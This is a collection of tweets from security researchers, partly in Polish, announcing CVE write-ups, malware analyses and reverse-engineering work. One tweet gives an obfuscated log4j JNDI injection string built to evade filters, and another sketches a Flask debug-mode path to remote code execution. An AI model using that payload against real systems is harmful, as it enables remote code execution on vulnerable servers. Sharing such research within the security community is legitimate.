magu

[magu @_m4gu]

@Plus_Polska @KacperSzurek Co może pójść nie tak? No co? 🤔

[Elliot @ElliotKillick]

I just spent the last few months of my life reverse engineering the Windows 10 parallel loader and figuring out how it does concurrency. Updates have now been published!

https://t.co/iQtWoJbwep

[ESET Research @ESETresearch]

#BREAKING #ESETresearch helped analyze a #Sandworm campaign against an energy company in #Ukraine 🇺🇦 using #CaddyWiper and a new version of the infamous #Industroyer malware. #WarInUkraine https://t.co/QRR5M6etfS 1/5

[stypr @brokenpacifist]

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

log4j bypass lol

Lessons learned: Don't use Java.

[Kacper Szurek @KacperSzurek]

Skradziono Ci dowód? Co robić?
🧵 Wątek ↓

1️⃣ Utracone dokumenty trzeba zastrzec w systemie "dokumenty zastrzeżone".
Najlepiej zrobić to osobiście w oddziale naszego banku.
Część instytucji przyjmuje zastrzeżenia również telefonicznie.
https://t.co/oBynqUmrNC

[Anton Cherepanov @cherepanov74]

Be careful if you download IDA Pro from non-official sources - it can be trojanized by #Lazarus

[Prof. Feynman @ProfFeynman]

• Do what interests you the most.
• Spend time with nature.
• Ask questions.
• Never stop learning.
• Don't pay attention to what others think of you.
• Read everyday.
• Study hard.
• Teach others what you know.
• Make mistakes and learn.
• It's Okay to not know things!

[Can Bölük @_can1357]

How come every @_markel___ post ends up with me playing with numbers?🤔

[ReWolf @rwfpl]

Reverse engineering Mortal Kombat GRA file format (part 2) https://t.co/MP2kMzz6C5

[Kacper Szurek @KacperSzurek]

Pozdrawiam Pana Tomasza😉

[Adam 'pi3' Zabrocki @Adam_pi3]

CVE-2020-16898 – Exploiting "Bad Neighbor" vulnerability. My very detailed write-up with all the caveats + PoC code
https://t.co/MhKxEvLig4

[Jonas L @jonasLyk]

CVE-2020-16938 - aka bits please!
So...recent update changed the permissions on partitions and volume device objects, granting everybody read access.
This means that by opening the device directly you can read the raw data without any privs.
7zip parses NTFS so super for POC

[magu @_m4gu]

@Farenain Zen cracking can break it rly fast..

[Mark Ermolov @_markel___]

Finally, the casket is opened: we (+@h0t_max and @_Dmit) have extracted Intel x86 microcode! One more Intel "top secret" information gets revealed...
https://t.co/gFYcILxnHL

[REDTEAM.PL @redteampl]

Our researcher @h0wlu got credited by Google for reporting another vulnerability in Chrome - CVE-2020-6463

[j00ru//vx @j00ru]

Today I'm happy to release new research I've been working on for a while: 0-click RCE via MMS in all modern Samsung phones (released 2015+), due to numerous bugs in a little-known custom "Qmage" image codec supported by Skia on Samsung devices. Demo: https://t.co/8KRIhy4Fpk

[florek @florek_pl]

I did a small investigation into inner workings of of CVE-2019-1458. Reported in December, used in the wild. Here is my analysis: https://t.co/wwS2WuDUVf

[Kacper Szurek @KacperSzurek]

[PL] Używasz #flask i #python.
Przez pomyłkę uruchomiłeś środowisko testowe.
Teoretycznie dostęp do #debugger jest zabezpieczony kodem PIN.
Tylko, że PIN nie jest generowany losowo.
Arbitrary file read + Flask (debug mode) = RCE
https://t.co/KY66riNt1y

[Marc-Etienne M.Léveillé @marc_etienne_]

I don’t endorse the vocabulary in this tweet but I’d like to share our side of things and perhaps set the records straight. We never really wanted to (and still don’t want to) discredit Dragos publicly, there is really no point. 1/x